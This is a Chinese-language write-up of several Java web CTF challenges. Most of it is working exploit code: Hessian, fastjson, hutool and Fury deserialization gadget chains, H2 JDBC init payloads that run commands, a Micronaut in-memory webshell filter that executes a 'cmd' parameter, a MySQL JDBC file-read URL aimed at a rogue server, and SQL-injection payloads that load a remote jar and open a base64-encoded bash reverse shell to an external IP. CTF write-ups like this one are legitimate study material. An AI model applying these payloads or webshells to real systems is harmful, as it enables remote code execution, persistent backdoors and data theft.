suctf

ez-solon

@Controller
public class IndexController {
   @Mapping("/hello")
   public String hello(@Param(defaultValue = "hello") String data) throws Exception {
      byte[] decode = Base64.getDecoder().decode(data);
      Hessian2Input hessian2Input = new Hessian2Input(new ByteArrayInputStream(decode));
      Object object = hessian2Input.readObject();
      return object.toString();
   }
}

题目比较直接,就直接给了一个hessian的点。而且还调用了toString方法。给了h2的sink点,很明显是要打h2的jdbc。然后还有fastjson。fast打任意getter。然后就是codeql的分析了。

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.83</version>
</dependency>
<dependency>
    <groupId>com.h2database</groupId>
    <artifactId>h2</artifactId>
    <version>2.2.224</version>
</dependency>
<dependency>
    <groupId>org.noear</groupId>
    <artifactId>solon-web</artifactId>
</dependency>

codeql查一手。

import java


class GetMethod extends Method{
  GetMethod(){
      this.getName().indexOf("get") = 0 or 
      this.getName().indexOf("set") = 0 and
      this.getName().length() > 3 and
      this.isPublic() and
      this.fromSource() and
      this.hasNoParameters()
  }
}

from GetMethod getMethod, MethodAccess ma, Method method
where  ma.getEnclosingStmt() = getMethod.getBody().getAChild*() and method = ma.getMethod() 
    and method.hasName("getConnection") and getMethod.hasNoParameters()
select method,getMethod,getMethod.getDeclaringType()

根据黑名单hessian筛选

然后简单构造

import com.alibaba.fastjson.JSONArray;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.SerializerFactory;
import org.noear.solon.data.util.UnpooledDataSource;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;


public class POC {
    public static void main(String[] args) throws Exception {

        String url = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
                "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
                "java.lang.System.setSecurityManager(null)\n" +
                "java.lang.Runtime.getRuntime().exec('calc')\n" +
                "$$\n";

        UnpooledDataSource unpooledDataSource = new UnpooledDataSource(url, "", "", "java.sql.DriverManager");
        setFieldValue(unpooledDataSource, "logWriter", null);

//        JSONObject jsonObject = new JSONObject();
//        jsonObject.put("zz",unpooledDataSource);
//        jsonObject.toString();

        JSONArray jsonArray= new JSONArray();   // 这里 jsonObject 和 jsonArray 都是可以的。
        jsonArray.add(unpooledDataSource);
//        jsonArray.toString();

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        Hessian2Output output = new Hessian2Output(byteArrayOutputStream);
        output.setSerializerFactory(new SerializerFactory());
        output.getSerializerFactory().setAllowNonSerializable(true);
        output.writeObject(jsonArray);
        output.close();
        String data = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
        System.out.println(data);

        byte[] decode = Base64.getDecoder().decode(data);
        Hessian2Input hessian2Input = new Hessian2Input(new ByteArrayInputStream(decode));
        Object object = hessian2Input.readObject();
        object.toString();

    }

    public static void setFieldValue(Object obj, String filedName, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field declaredField = obj.getClass().getDeclaredField(filedName);
        declaredField.setAccessible(true);
        declaredField.set(obj, value);
    }
}

ez_micronaut

KeyFilter

主要是这个过滤器里面有 jexl注入,BeanUtil 里面又有实例化的地方。还有h2和hutool的依赖。然后很明显就是打h2的jdbc。题目不出网,需要打内存马。

   public void setU(String u) throws Exception {
      Unsafe unsafe = getUnsafeInstance();
      Class<?> clazz = Class.forName(u);
      unsafe.allocateInstance(clazz);
      Constructor<?> constructor = clazz.getDeclaredConstructor(Class.forName(this.n));
      constructor.setAccessible(true);
      constructor.newInstance(this.d);
   }

poc

import com.google.gson.Gson;
import com.google.gson.GsonBuilder;
import hello.micronaut.bean.User;
import hello.micronaut.utils.BeanUtil;

import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.net.URL;
import java.util.Base64;

public class Exp {
    public static void main(String[] args) throws Exception {


        String loadClassName = "EvilFilter";
        String loadClassPath = "D:\\\\\\\\codes\\\\\\\\java_code\\\\\\\\micronautL\\\\\\\\micronautL-1.0-SNAPSHOT.jar";
//        String loadClassPath = "D:\\\\\\\\classes\\\\\\\\";
        String loadClassMethodName = "hacked";
        String loadClassPoc = "[n='cn.hutool.db.ds.pooled.PooledDataSource',d=new('cn.hutool.db.ds.pooled.PooledDataSource',new('cn.hutool.db.ds.pooled.DbConfig','jdbc:h2:mem:test;MODE=MSSQLServer;INIT=CREATE ALIAS IF NOT EXISTS LOAD_JAR AS \\'" +
                "void loadJar(String jarPath, String className, String methodName) throws Exception {" +
                "java.net.URL jarUrl = new java.net.URL(\\\"file:\\\" + jarPath)\\;" +
                "java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{jarUrl})\\;" +
                "Class<?> loadedClass = classLoader.loadClass(className)\\;" +
                "Object instance = loadedClass.getDeclaredConstructor().newInstance()\\;" +
                "java.lang.reflect.Method method = loadedClass.getMethod(methodName)\\;" +
                "method.invoke(instance)\\;}\\'\\;" +
                "CALL LOAD_JAR(\\'" + loadClassPath + "\\', \\'" + loadClassName + "\\', \\'" + loadClassMethodName + "\\')\\;" +
                "','1111','111')),u='cn.hutool.db.ds.pooled.PooledConnection']";

        String jar2base64Path = "D:\\codes\\java_code\\micronautL\\micronautL-1.0-SNAPSHOT.jar";
        String jar2base64 = jar2base64(jar2base64Path);
        String writeJarPoc = "[n='cn.hutool.db.ds.pooled.PooledDataSource',d=new('cn.hutool.db.ds.pooled.PooledDataSource',new('cn.hutool.db.ds.pooled.DbConfig','jdbc:h2:mem:test;MODE=MSSQLServer;INIT=CREATE ALIAS IF NOT EXISTS BASE64_TO_JAR AS \\'void base64ToJar(String base64Data, String filePath) throws java.io.IOException {byte[] jarBytes = java.util.Base64.getDecoder().decode(base64Data)\\;try (java.io.FileOutputStream fos = new java.io.FileOutputStream(filePath)) {fos.write(jarBytes)\\;}}\\'\\;CALL BASE64_TO_JAR (\\'" + jar2base64 + "\\',\\'" + loadClassPath + "\\')\\;','1111','111')),u='cn.hutool.db.ds.pooled.PooledConnection']";

        Gson gson = new GsonBuilder().create();

        BeanUtil beanUtil = new BeanUtil();
        beanUtil.setUrl("http");
        String json = gson.toJson(beanUtil, BeanUtil.class);
        System.out.println(json);

        String poc1 = Base64.getEncoder().encodeToString(json.getBytes()) + "<--->" + writeJarPoc + "<--->" + "admin";
        String poc2 = Base64.getEncoder().encodeToString(json.getBytes()) + "<--->" + loadClassPoc + "<--->" + "admin";

        User poc1User = new User("admin", "1", Base64.getEncoder().encodeToString(poc1.getBytes()));
        User poc2User = new User("admin", "1", Base64.getEncoder().encodeToString(poc2.getBytes()));

        System.out.println(gson.toJson(poc2User,User.class));
    }

    public static String jar2base64(String jarPath) {
        File jarFile = new File(jarPath);
        try (FileInputStream fis = new FileInputStream(jarFile)) {
            byte[] jarBytes = new byte[(int) jarFile.length()];
            fis.read(jarBytes);
            return Base64.getEncoder().encodeToString(jarBytes);
        } catch (IOException e) {
            e.printStackTrace();
            return "";
        }
    }

}

或者直接加载恶意class。但是需要打包把里面的EvilFilter$1.class 和 EvilFilter.class都拿出来。

String loadClassPath = "D:\\\\\\\\classes\\\\\\\\";
String loadClassPoc = "[n='cn.hutool.db.ds.pooled.PooledDataSource',d=new('cn.hutool.db.ds.pooled.PooledDataSource',new('cn.hutool.db.ds.pooled.DbConfig','jdbc:h2:mem:test;MODE=MSSQLServer;INIT=CREATE ALIAS IF NOT EXISTS LOAD_JAR AS \\'" +
        "void loadJar(String jarPath, String className) throws Exception {" +
        "java.net.URL jarUrl = new java.net.URL(\\\"file:\\\" + jarPath)\\;" +
        "java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{jarUrl})\\;" +
        "Class<?> loadedClass = classLoader.loadClass(className)\\;" +
        "Object instance = loadedClass.newInstance()\\;}\\'\\;" +
        "CALL LOAD_JAR(\\'" + loadClassPath + "\\', \\'" + loadClassName + "\\')\\;" +
        "','1111','111')),u='cn.hutool.db.ds.pooled.PooledConnection']";

内存马。

import io.micronaut.core.propagation.PropagatedContextElement;
import io.micronaut.core.util.SupplierUtil;
import io.micronaut.http.HttpRequest;
import io.micronaut.http.MutableHttpResponse;
import io.micronaut.http.filter.*;
import io.micronaut.http.server.RouteExecutor;
import io.micronaut.http.server.netty.NettyHttpRequest;
import io.micronaut.web.router.DefaultRouter;
import io.netty.util.internal.InternalThreadLocalMap;
import org.reactivestreams.Publisher;
import reactor.core.publisher.Flux;
import sun.misc.Unsafe;

import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.Scanner;
import java.util.function.Supplier;


public class EvilFilter {

    public void hacked() {
        try {
            // 获取Unsafe实例
            Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");
            unsafeField.setAccessible(true);
            Unsafe unsafe = (Unsafe) unsafeField.get(null);

            // 获取当前线程 (假设线程类型是NettyThreadFactory$NonBlockingFastThreadLocalThread)
            Thread currentThread = Thread.currentThread();

            // 检查是否是Netty的线程类型
            if (currentThread.getClass().getName().contains("NettyThreadFactory$NonBlockingFastThreadLocalThread")) {
                // 获取threadLocalMap字段的偏移量
                Field threadLocalMapField = currentThread.getClass().getSuperclass().getDeclaredField("threadLocalMap");
                long threadLocalMapOffset = unsafe.objectFieldOffset(threadLocalMapField);

                // 使用Unsafe获取threadLocalMap字段的值
                InternalThreadLocalMap threadLocalMap = (InternalThreadLocalMap) unsafe.getObject(currentThread, threadLocalMapOffset);

                // 获取threadLocalMap中的indexedVariables
                Field indexedVariablesField = InternalThreadLocalMap.class.getDeclaredField("indexedVariables");
                indexedVariablesField.setAccessible(true);
                Object[] indexedVariables = (Object[]) indexedVariablesField.get(threadLocalMap);

                Object indexedVariable = null;

                // 遍历indexedVariables数组,寻找PropagatedContextImpl类型的变量
                for (Object variable : indexedVariables) {
                    System.out.println(variable.getClass().getName());
                    if (variable.getClass().getName().contains("PropagatedContextImpl")) {
                        indexedVariable = variable;
                        break;
                    }
                }

                // 如果找到了PropagatedContextImpl类型的变量
                if (indexedVariable != null) {
                    // 获取PropagatedContextImpl的elements属性
                    Field elementsField = indexedVariable.getClass().getDeclaredField("elements");
                    elementsField.setAccessible(true);
                    PropagatedContextElement[] elements = (PropagatedContextElement[]) elementsField.get(indexedVariable);

                    PropagatedContextElement element = elements[0];

                    // 反射获取element的httpRequest属性
                    if (element != null && element.getClass().getName().contains("ServerHttpRequestContext")) {
                        // 获取ServerHttpRequestContext类中的httpRequest字段
                        Field httpRequestField = element.getClass().getDeclaredField("httpRequest");
                        httpRequestField.setAccessible(true);
                        NettyHttpRequest httpRequest = (NettyHttpRequest) httpRequestField.get(element);

                        // 获取channelHandlerContext属性
                        Field channelHandlerContextField = NettyHttpRequest.class.getDeclaredField("channelHandlerContext");
                        channelHandlerContextField.setAccessible(true);
                        Object channelHandlerContext = channelHandlerContextField.get(httpRequest);

                        // 获取handler属性
                        Field handlerField = channelHandlerContext.getClass().getDeclaredField("handler");
                        handlerField.setAccessible(true);
                        Object handler = handlerField.get(channelHandlerContext);

                        // 获取requestHandler属性
                        Field requestHandlerField = handler.getClass().getDeclaredField("requestHandler");
                        requestHandlerField.setAccessible(true);
                        Object requestHandler = requestHandlerField.get(handler);

                        // 获取routeExecutor属性
                        Field routeExecutorField = requestHandler.getClass().getDeclaredField("routeExecutor");
                        routeExecutorField.setAccessible(true);
                        RouteExecutor routeExecutor = (RouteExecutor) routeExecutorField.get(requestHandler);

                        // 获取router属性
                        Field routerField = routeExecutor.getClass().getDeclaredField("router");
                        routerField.setAccessible(true);
                        DefaultRouter router = (DefaultRouter) routerField.get(routeExecutor);

                        // 获取alwaysMatchesHttpFilters属性
                        Field alwaysMatchesHttpFiltersField = router.getClass().getDeclaredField("alwaysMatchesHttpFilters");
                        alwaysMatchesHttpFiltersField.setAccessible(true);
                        Supplier<ArrayList<GenericHttpFilter>> alwaysMatchesHttpFilters =
                                (Supplier<ArrayList<GenericHttpFilter>>) unsafe.getObject(router,
                                        unsafe.objectFieldOffset(alwaysMatchesHttpFiltersField));

                        // 获取现有的过滤器列表
                        ArrayList<GenericHttpFilter> filters = alwaysMatchesHttpFilters.get();

                        // 创建新的过滤器
                        HttpServerFilter hackedFilter = new HttpServerFilter() {
                            @Override
                            public Publisher<MutableHttpResponse<?>> doFilter(HttpRequest<?> request, ServerFilterChain chain) {
                                String cmd = request.getParameters().get("cmd");
                                String output = "";
                                try {
                                    boolean isLinux = true;
                                    String osTyp = System.getProperty("os.name");
                                    if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                                        isLinux = false;
                                    }
                                    String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
                                    InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                                    Scanner s = new Scanner(in).useDelimiter("\\A");
                                    output = s.hasNext() ? s.next() : "";
                                } catch (IOException ioe) {
                                    ioe.printStackTrace();
                                }

                                String finalOutput = output;
                                return Flux.from(chain.proceed(request))
                                        .doOnNext(response -> {
                                            response.body(finalOutput);
                                        });
                            }
                        };

                        // 获取AroundLegacyFilter类
                        Class<?> aroundLegacyFilterClass = Class.forName("io.micronaut.http.filter.AroundLegacyFilter");

                        // 使用Unsafe分配AroundLegacyFilter的实例
                        Object legacyFilter = unsafe.allocateInstance(aroundLegacyFilterClass);

                        // 获取AroundLegacyFilter的构造函数
                        Constructor<?> constructor = aroundLegacyFilterClass.getDeclaredConstructor(HttpFilter.class, FilterOrder.class);
                        constructor.setAccessible(true);  // 允许访问私有构造方法

                        // 创建一个Dynamic FilterOrder实例,回退排序值为0
                        FilterOrder dynamicOrder = new FilterOrder.Dynamic(0);

                        // 调用构造函数初始化实例
                        Object aroundLegacyFilter = constructor.newInstance(hackedFilter, dynamicOrder);

                        // 将新的filter添加到filters列表中
                        filters.add((GenericHttpFilter) aroundLegacyFilter);

                        // 更新alwaysMatchesHttpFilters
                        unsafe.putObject(router, unsafe.objectFieldOffset(alwaysMatchesHttpFiltersField),
                                SupplierUtil.memoized(() -> filters));

                    } else {
                        System.out.println("element不是ServerHttpRequestContext类型。");
                    }
                } else {
                    System.out.println("未找到类型为PropagatedContextImpl的变量。");
                }

            } else {
                System.out.println("当前线程不是Netty的线程类型。");
            }

        } catch (Exception e) {
            e.printStackTrace();
        }
    }

}

SU_PWN

具体看这个。

https://paper.seebug.org/1963/

https://gist.github.com/thanatoskira/07dd6124f7d8197b48bc9e2ce900937f

这个题预期其实是xalan cve的内存马利用,想考验大家自己重新构造xslt的。因为准备时间比较仓促,加上某yu姓男子给的不出网环境居然dns出网,导致大家都用dns打了。比较可惜吧只能说。

也可以写静态文件

find /tmp -type d -exec bash -c 'ls -lap / >"{}/out.txt"' \;

sujava

只想着打低版本的jdbc反序列化了,但是这样打jdbc读文件第一次见,而且第一次见url还能这样写。

还有一个比较坑的点就是这个附件里面的class文件直接用idea打开时看不全的。需要反编译。

import java.sql.Connection;
import java.sql.DriverManager;

public class Test {
    public static void main(String[] args) throws Exception {

        Class.forName("com.mysql.jdbc.Driver");
        String jdbc_url = "jdbc:mysql://ADDRESS=(host=60.205.138.120)(port=3306)(database=test)(user=fileread_file%3A%2F%2F%2F.)(%61%6c%6c%6f%77%4c%6f%61%64%4c%6f%63%61%6c%49%6e%66%69%6c%65=true)(%61%6c%6c%6f%77%4c%6f%61%64%4c%6f%63%61%6c%49%6e%66%69%6c%65%49%6e%50%61%74%68=%2F)(%61%6c%6c%6f%77%55%72%6c%49%6e%4c%6f%63%61%6c%49%6e%66%69%6c%65=true)(%6d%61%78%41%6c%6c%6f%77%65%64%50%61%63%6b%65%74=655360)  #/test:3306/test?autoDeserialize=false&allowUrlInLocalInfile=false&allowLocalInfile=false&allowLoadLocalInfile=false";
        Connection con = DriverManager.getConnection(jdbc_url);

    }
}
/jdbc

post:
host=ADDRESS=(host=60.205.138.120)(port=3306)(database=test)(user=fileread_file%3A%2F%2F%2F.)(%61%6c%6c%6f%77%4c%6f%61%64%4c%6f%63%61%6c%49%6e%66%69%6c%65=true)(%61%6c%6c%6f%77%4c%6f%61%64%4c%6f%63%61%6c%49%6e%66%69%6c%65%49%6e%50%61%74%68=%2F)(%61%6c%6c%6f%77%55%72%6c%49%6e%4c%6f%63%61%6c%49%6e%66%69%6c%65=true)(%6d%61%78%41%6c%6c%6f%77%65%64%50%61%63%6b%65%74=655360)  #/test&port=3306&database=test&extraParams={}&username=test&password=root

https://github.com/rmb122/rogue_mysql_server

vnctf

javaGuide

过滤了一些类,不能用jackson。TemplatesImpl。但是有fastjson。打二次反序列化即可。

   protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
      String className = desc.getName();
      String[] denyClasses = new String[]{"com.sun.org.apache.xalan.internal.xsltc.trax", "javax.management", "com.fasterxml.jackson"};
      int var5 = denyClasses.length;

      for(String denyClass : denyClasses) {
         if (className.startsWith(denyClass)) {
            throw new InvalidClassException("Unauthorized deserialization attempt", className);
         }
      }

      return super.resolveClass(desc);
   }
import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import java.io.*;
import java.security.*;
import java.util.HashMap;
import java.util.Vector;

import static com.example.javaguide.Tool.*;


public class Exp{
    public static byte[] file2ByteArray(String filePath) throws IOException {
        InputStream in = new FileInputStream(filePath);
        byte[] data = inputStream2ByteArray(in);
        in.close();
        return data;
    }
    public static byte[] inputStream2ByteArray(InputStream in)
            throws IOException {
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        byte[] buffer = new byte[4096];
        int n;
        while((n = in.read(buffer)) != -1) {
            out.write(buffer, 0, n);
        }
        return out.toByteArray();
    }
    public static TemplatesImpl getTemplatesImpl(byte[] code)
            throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{code});
        setFieldValue(templates, "_name", "name");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        return templates;
    }
    public static EventListenerList getEventListenerList(Object obj) throws Exception {
        EventListenerList list = new EventListenerList();
        UndoManager manager = new UndoManager();
        Vector vector = (Vector)getFieldValue(manager,"edits");
        vector.add(obj);
        setFieldValue(list, "listenerList", new Object[]{InternalError.class, manager});
        return list;
    }
    public static Object getFastjsonEventListenerList(Object getter) throws Exception {
        JSONArray jsonArray0 = new JSONArray();
        jsonArray0.add(getter);
        EventListenerList eventListenerList0 = getEventListenerList(jsonArray0);
        HashMap hashMap0 = new HashMap();
        hashMap0.put(getter, eventListenerList0);
        return hashMap0;
    }
    public static SignedObject getSingnedObject(Serializable obj) throws Exception {
        KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        Signature signingEngine = Signature.getInstance("DSA");
        SignedObject signedObject = new SignedObject(obj, privateKey, signingEngine);
        return signedObject;
    }

    public static void main(String[] args) throws Exception{
//        TemplatesImpl templatesImpl = getTemplatesImpl(file2ByteArray("D:\\codes\\java_code\\my-ysoserial\\target\\classes\\FilterShell.class"));
        TemplatesImpl templatesImpl = getTemplatesImpl(file2ByteArray("D:\\classes\\Test.class"));
        Object calc = getFastjsonEventListenerList(templatesImpl);
        SignedObject singnedObject = getSingnedObject((Serializable) calc);
        Object fastjsonEventListenerList = getFastjsonEventListenerList(singnedObject);
        System.out.println(base64Encode(serialize(fastjsonEventListenerList)));

    }
}

N1Junior

EasyDB

有点类似于sql注入。

   @PostMapping({"/login"})
   public String handleLogin(@RequestParam String username, @RequestParam String password, HttpSession session, Model model) throws SQLException {
      if (this.userService.validateUser(username, password)) {
         session.setAttribute("username", username);
         return "redirect:/";
   public boolean validateUser(String username, String password) throws SQLException {
      String query = String.format("SELECT * FROM users WHERE username = '%s' AND password = '%s'", username, password);
      if (!SecurityUtils.check(query)) {
         return false;
      } else {

又是一个通过h2 一些复杂的打法。无非就是写马,加载马,或者直接命令执行。

admin' or 1=1;CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : "";  }$$;CALL SHELLEXEC('calc');--+

admin' or 1=1;CREATE ALIAS if not exists EXEC AS 'void exec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);}';CALL EXEC ('calc');--+

可以加载本地文件。可以加载jar包。也可以加载恶意class文件。可以写,再加载。
admin' or 1=1;CREATE ALIAS IF NOT EXISTS LOAD_JAR AS 'void loadJar(String jarPath, String className, String methodName) throws Exception {java.net.URL jarUrl = new java.net.URL("file:" + jarPath);java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{jarUrl});Class<?> loadedClass = classLoader.loadClass(className);Object instance = loadedClass.getDeclaredConstructor().newInstance();java.lang.reflect.Method method = loadedClass.getMethod(methodName);method.invoke(instance);}';--+
admin' or 1=1;CALL LOAD_JAR('D:\codes\java_code\springShell\target\springShell-0.0.1-SNAPSHOT.jar', 'InjectToController2', 'hacked');--+

可以加载远程文件。但是注意jar包。名字不能有敏感字。打好jar包再改名也是可以的。
admin' or 1=1;CREATE ALIAS IF NOT EXISTS LOAD_JAR AS 'void loadJar(String jarPath, String className, String methodName) throws Exception {java.net.URL jarUrl = new java.net.URL(jarPath);java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{jarUrl});Class<?> loadedClass = classLoader.loadClass(className);Object instance = loadedClass.getDeclaredConstructor().newInstance();java.lang.reflect.Method method = loadedClass.getMethod(methodName);method.invoke(instance);}';--+
admin' or 1=1;CALL LOAD_JAR('http://loacalhost:7777/springShel-0.0.1-SNAPSHOT.jar', 'InjectToController2', 'hacked');--+

也可以通过反射加字符串的拼接来反弹shell。学到了。
admin'; CREATE ALIAS evil AS $$void jerry(String cmd) throws Exception{ String R="R"+"untime";Class<?> c = Class.forName("java.lang."+R);Object rt=c.getMethod("get"+R).invoke(null);c.getMethod("exe"+"c",String.class).invoke(rt,cmd);}$$;CALL evil('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTkuMjkuMTU3LjI0OC84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}');  --+

aliyunctf

Jtools

furry 自带了很多黑名单。但是有hutool。有一个反序列化的静态方法。SerializeUtil.deserialize

不停的网上 find Usages。然后发现 AbstractConverter.convert(Object value, T defaultValue) 最终可以走到这个反序列化点。

此时再 find Usages 结果太多。

用codeql简单查一下。

/**
@kind path-problem
*/

import java
import semmle.code.java.dataflow.FlowSources

class GetMethod extends Method{
    GetMethod(){
        // this.getName().indexOf("get") = 0 and
        // this.getName().indexOf("set") = 0 or
        // this.getName().indexOf("convert") = 0 or
        this.hasName("invoke") and
        this.getDeclaringType().getASupertype*() instanceof TypeSerializable and
        this.getName().length() > 3 and
        this.isPublic()
    }
}

class SinkMethod extends Method{
    SinkMethod(){
        this.hasName("convert") and
        this.getDeclaringType().hasName("AbstractConverter")
    }
}

query predicate edges(Method a, Method b) { 
    a.polyCalls(b)
}

from GetMethod source, SinkMethod sink
where edges+(source, sink)
select source, source, sink, "$@ $@ to $@ $@" ,
source.getDeclaringType(),source.getDeclaringType().getName(),
source,source.getName(),
sink.getDeclaringType(),sink.getDeclaringType().getName(),
sink,sink.getName()

简单看一下这个 MapProxy 的 invoke

public Object invoke(Object proxy, Method method, Object[] args) {
    final Class<?>[] parameterTypes = method.getParameterTypes();
    if (ArrayUtil.isEmpty(parameterTypes)) {
        final Class<?> returnType = method.getReturnType();
        if (void.class != returnType) {
            // 匹配Getter
            final String methodName = method.getName();
            String fieldName = null;
            if (methodName.startsWith("get")) {
                // 匹配getXXX
                fieldName = StrUtil.removePreAndLowerFirst(methodName, 3);
            } else if (BooleanUtil.isBoolean(returnType) && methodName.startsWith("is")) {
                // 匹配isXXX
                fieldName = StrUtil.removePreAndLowerFirst(methodName, 2);
            }else if ("hashCode".equals(methodName)) {
                return this.hashCode();
            } else if ("toString".equals(methodName)) {
                return this.toString();
            }

            if (StrUtil.isNotBlank(fieldName)) {
                if (false == this.containsKey(fieldName)) {
                    // 驼峰不存在转下划线尝试
                    fieldName = StrUtil.toUnderlineCase(fieldName);
                }
                return Convert.convert(method.getGenericReturnType(), this.get(fieldName));
            }
        }

首先创建动态代理这个类需要有接口。有实现类。有get方法而且返回值不能为空。

        Map hashmap = new HashMap();
        hashmap.put("digester", data);
        MapProxy mapProxy = new MapProxy(hashmap);
        ObjectCreationFactory test = mapProxy.toProxyBean(ObjectCreationFactory.class);
        test.getDigester();

        Map hashmap = new HashMap();
        MapProxy mapProxy = new MapProxy(hashmap);
        hashmap.put("name", data);
        IUser test = (IUser) Proxy.newProxyInstance(IUser.class.getClassLoader(), new Class[]{IUser.class}, mapProxy);
        test.getName();

试着找一找可以使用的类,简单筛选,然后使用即可。

import java


class GetMethod extends Method{
  GetMethod(){
      this.getName().matches("get%") and
      this.getName().length() > 3 and
      this.isPublic() and
      this.fromSource() and
      this.hasNoParameters() and
      not this.getDeclaringType().getASupertype*() instanceof TypeSerializable and
      not this.getReturnType() instanceof PrimitiveType and
      not this.getDeclaringType().getASupertype() instanceof AnnotationType
    
  }
}

from GetMethod method
select method.getDeclaringType()

然后就是找如何调用任意get了。

com.feilong.core.util.comparator.PropertyComparator的compare方法可以触发getter调用

这个和cb1链里面的BeanComparator很像。

poc

import cn.hutool.core.map.MapProxy;
import cn.hutool.core.map.MapUtil;
import cn.hutool.core.util.SerializeUtil;

import com.feilong.core.util.comparator.PropertyComparator;
import com.feilong.excel.ExcelReader;
import com.feilong.lib.beanutils.BeanComparator;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import cn.hutool.core.util.ReflectUtil;
import org.apache.fury.Fury;
import org.apache.fury.config.Language;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.Map;
import java.util.PriorityQueue;

public class PocBo
{

    public static void main( String[] args ) throws Exception {

        byte[] bytes= Files.readAllBytes(Paths.get("D:\\Test.class"));

        TemplatesImpl template = new TemplatesImpl();
        Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(template, new byte[][]{bytes});
        Field name = TemplatesImpl.class.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(template, "hello");
        // mock method name until armed

        BeanComparator comparator_1 = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);

        // create queue with numbers and basic comparator
        PriorityQueue<Object> queue_1 = new PriorityQueue<Object>(2, comparator_1);
        queue_1.add("1");
        queue_1.add("1");
        // switch method called by comparator
        ReflectUtil.setFieldValue(comparator_1, "property", "outputProperties");
        // switch contents of queue
        Object[] queueArray_1 = (Object[]) getFieldValue(queue_1, "queue");
        queueArray_1[0] = template;
        queueArray_1[1] = template;

        byte[] payload = SerializeUtil.serialize(queue_1);

        Map<String, Object> userMap = MapUtil.newHashMap(16);
        userMap.put("definition", payload);
        MapProxy mapProxy = MapProxy.create(userMap);
        ExcelReader mapUser1 = mapProxy.toProxyBean(ExcelReader.class);
        ExcelReader mapUser2 = mapProxy.toProxyBean(ExcelReader.class);
        PropertyComparator comparator = new PropertyComparator("definition");
        PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        // stub data for replacement later
        queue.add(1);
        queue.add(1);
        // switch method called by comparator
        ReflectUtil.setFieldValue(comparator, "propertyName", "definition");
        // switch contents of queue
        Object[] queueArray = (Object[]) getFieldValue(queue, "queue");
        queueArray[0] = mapUser1;
        queueArray[1] = mapUser2;
        Fury fury = Fury.builder().withLanguage(Language.JAVA).requireClassRegistration(false).build();
        byte[] exp = fury.serialize(queue);
        System.out.println(Base64.getEncoder().encodeToString(exp));
        fury.deserialize(exp);

    }

    public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        return field.get(obj);
    }

    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        } catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
}

Espresso Coffee

https://xz.aliyun.com/news/17019

unk yyds

小结

su-solon 绕过黑名单找到新的h2 jdbc的sink点。

ez_micronaut 主要在于不出网的条件下利用h2 jdbc sink solon内存马的挖掘,挖掘内存马的过程出题人的wp中写的也非常详细。

https://www.yuque.com/pupi1/kd6gkq/dx488t7mc375m83o?#《SU_PWN》

su-pwn 如果没有非预期,用 CVE-2022-34169 写内存马对web手还是有一些难度的。

sujava mysql的jdbc,版本很高,不能打反序列化,但是可以利用连接恶意mysql达到文件读取的效果。而且jdbc://这种写的格式也值得学习记录。

javaGuide,EasyDB 这两个题目比较简单一个很基础的二次反序列化,一个有点类似与sql注入,但是打的是h2

Jtools hutools新的二次反序列化点的挖掘。PropertyComparator compare方法触发任意get。

Espresso Coffee 略

相关题目附件已经上传至我的github https://github.com/C0cr/CTF-Repo